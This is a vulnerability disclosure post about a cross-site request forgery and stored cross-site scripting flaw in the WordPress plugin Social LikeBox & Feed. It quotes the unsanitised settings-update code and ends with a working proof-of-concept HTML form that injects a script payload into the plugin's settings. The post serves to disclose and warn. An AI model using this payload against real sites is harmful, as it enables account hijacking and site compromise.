09 Aug

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Social LikeBox & Feed

The plugin Social LikeBox & Feed was closed on the WordPress Plugin Directory yesterday. That is one of the 1,000 most popular plugins with 40,000+ installs, so we were alerted to its closure. While we were looking in to the plugin to see if there were any serious vulnerabilities we should be warning users of the plugin that also use our service, we found that it contains a less serious one related to a more serious one, a cross-site request forgery (CRSF)/cross-site scripting (XSS) vulnerability.

The plugin registers its admin page to be accessible by Administrators:

25
$adminmenu = add_menu_page( 'Social LikeBox & Feed', 'Social LikeBox & Feed', 'administrator', 'facebooky-by-weblizar', 'facebooky_by_weblizar_page_function', 'dashicons-facebook-alt');

The function that is called by that facebooky_by_weblizar_page_function() causes the file /function/facebook-by-weblizar-data.php be loaded:

31
32
33
function facebooky_by_weblizar_page_function() 
{
	require_once("function/facebook-by-weblizar-data.php");

In that file if two POST inputs exist the plugin’s settings will be updated without sanitizing the new values:

2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(isset($_POST['facebook-page-url']) && isset($_POST['fb-app-id']))
{
	$FacebookSettingsArray = serialize(
		array(
			'FacebookPageUrl' => $_POST['facebook-page-url'],
			'ColorScheme' =>	'',
			'Header' => $_POST['show-widget-header'],
			'Stream' => $_POST['show-live-stream'],
			'Width' => $_POST['widget-width'],
			'Height' => $_POST['widget-height'],
			'FbAppId' => $_POST['fb-app-id'],
			'ShowBorder' => 'true',
			'ShowFaces' => $_POST['show-fan-faces'],
			'ForceWall' => 'false',
			'weblizar_locale_fb' => $_POST['weblizar_locale_fb']
		)
	);
	update_option("weblizar_facebook_shortcode_settings", $FacebookSettingsArray);

There should be a nonce check to prevent cross-site request forgery (CSRF), which allows an attacker to cause someone else to take an action they didn’t intend, before doing that.

As the proof of concept below confirms, the settings values are not always escaped when output, so by setting malicious JavaScript code to a setting cross-site scripting (XSS) could occur.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/admin.php?page=facebooky-by-weblizar, when logged in as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=facebooky-by-weblizar" method="POST">
<input type="hidden" name="facebook-page-url" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="fb-app-id" value="488390501239538" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.